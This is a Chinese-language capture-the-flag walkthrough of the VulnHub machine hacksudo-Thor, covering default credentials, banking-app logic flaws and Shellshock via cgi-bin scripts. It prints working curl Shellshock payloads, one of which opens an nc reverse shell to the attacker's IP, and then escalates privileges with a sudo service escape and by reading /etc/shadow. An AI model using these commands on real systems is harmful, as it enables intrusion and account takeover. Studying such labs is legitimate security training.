0x10-VulnHub-hacksudo-Thor
环境
靶机:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip
难度:中
内容
- 开源源码泄露
- CGI
- 破壳漏洞 .cgi .sh
- SUID提权
操作
信息收集
常规的端口扫描 主机发现 80端口是个登录界面 试了试弱口令 进不去
再扫一扫目录 发现还有个登录界面 然后在readme.md找到了默认密码 (也可以根据这个文件提供的github地址 去github找源码 看看有什么泄露的东西 这里在文档上面就直接出来了默认账密)

添加功能出现了sql语句的报错 但是无法拿到shell

这里有四个账号 点击去也可以看到密码

还有一种思路 已经获取了这系统的源码 我们可以去翻翻源码里面的sql文件 去看看 有没有初始的用户
再用提到的账号密码去登录80的那个登陆页面


这个post news 功能存在 xss 但是没啥用

业务逻辑漏洞
用找到的几个默认的用户可以登录进去80的那个后台 zakee94 nafees123 可以看到这个用户有多少钱

添加一个用户 然后给这个用户转钱

直接用他的登录密码


在admin后台也可看到用户PIN 也可以让用户扣钱

不能够让登录的密码成为支付密码 (但是我发现健身银行就是这样啊哈 )
CGI
在扫目录的时候 发现了 cgi-bin 一开始是403 但是当我们登录后再去访问 就能够看到页面内容了(没啥可利用的)
CGI:通用网关接口(Common Gateway Interface)是一个Web服务器主机提供信息服务的标准接口。通过CGI接口,Web服务器就能够获取客户端提交的信息,转交给服务器端的CGI程序进行处理,最后返回结果给客户端

进行请求处理的可能是shell脚本
在cgi-bin这个目录下就会存储很多脚本文件 .cgi .sh
于是就用dirsearch 去扫描一下cgi-bin 目录存在哪些文件
python3 dirsearch.py -u http://192.168.3.122/cgi-bin -f -e sh,cgi

响应码是500 服务器报错的响应码 说明存在这个文件,只是我们没有提供正确的参数 ,服务器无法处理我们请求
而这个可能收到破壳漏洞的影响
在涉及 CGI 的环境中,如果 Web 服务器使用的是 Bash 作为 CGI 脚本的解释器,并且系统受到了破壳漏洞的影响,那么攻击者可能会利用 CGI 程序来触发破壳漏洞,进而实现对系统的攻击。通过在 CGI 请求中注入恶意内容,攻击者可以利用破壳漏洞执行任意代码,从而危害系统安全
破壳漏洞
破壳漏洞(shell),利用整个web应用的软件架构中的一部分可以执行代码的软件组件,通过这种漏洞来实现代码执行,反弹shell等操作
破壳漏洞所利用的就是shell的bash类型
根本原因:由于bash解析环境变量当中引用的函数定义的时候,它的过滤和函数定义的界限区分不清晰,而造成了这个漏洞**
如果web应用使用了cgi技术,通过外部程序的引用,引用了操作系统的bash来处理一些指令的话,那么就可以把http服务作为访问操作系统shell的通道,向操作系统shell,提交环境变量定义,环境变量定义当中,又引入其他的函数定义,实现目标的手段
判断和利用:
去寻找web程序下/cgi-bin下是否存在cgi,sh的文件,如果存在,那么就意味着这个web应用程序所引用的外部应用程序就是操作系统的shell
条件:操作系统使用的是bash并且版本老
如果存在cgi或者sh后缀的话,使用nmap进行判断是否有破壳漏洞
检测
nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.3.122

使用curl进行进一步探测,自定义一个ua头,然后再u头中自定义一个函数,然后输入操作系统的指令,并查询是否存在nc
curl -H "user-agent: () { : ; }; echo; echo; /bin/bash -c ' which nc '" \http://192.168.3.122/cgi-bin/shell.sh

反弹shell
curl -H "user-agent: () { : ; }; echo; echo; /bin/bash -c ' nc -e /bin/bash 192.168.3.120 3333 '" \http://192.168.3.122/cgi-bin/shell.sh

提权
这条 sudo 配置的含义是允许用户 www-data 在主机 HackSudoThor 上以 thor 用户的身份执行 /home/thor/./hammer.sh 这个命令,并且在执行时不需要输入密码 并不是以root

但是你直接去这样执行

需要这样 指定thor用户
sudo -u thor /home/thor/./hammer.sh
再通过这个应用的一些操作 拿到了 thor的shell

爆破出来目录里面的id_rsa 再结合user里面的 试试可不可以登录 但是这个思路不对诶

还没看看有没有suid sudo -l (切换个用户就要重新看看 这个用户有没有配置错误

去找 https://gtfobins.github.io/gtfobins/service/
sudo service ../../bin/sh

也可以用 sudo cat /etc/shadow 的root密码 然后破解密码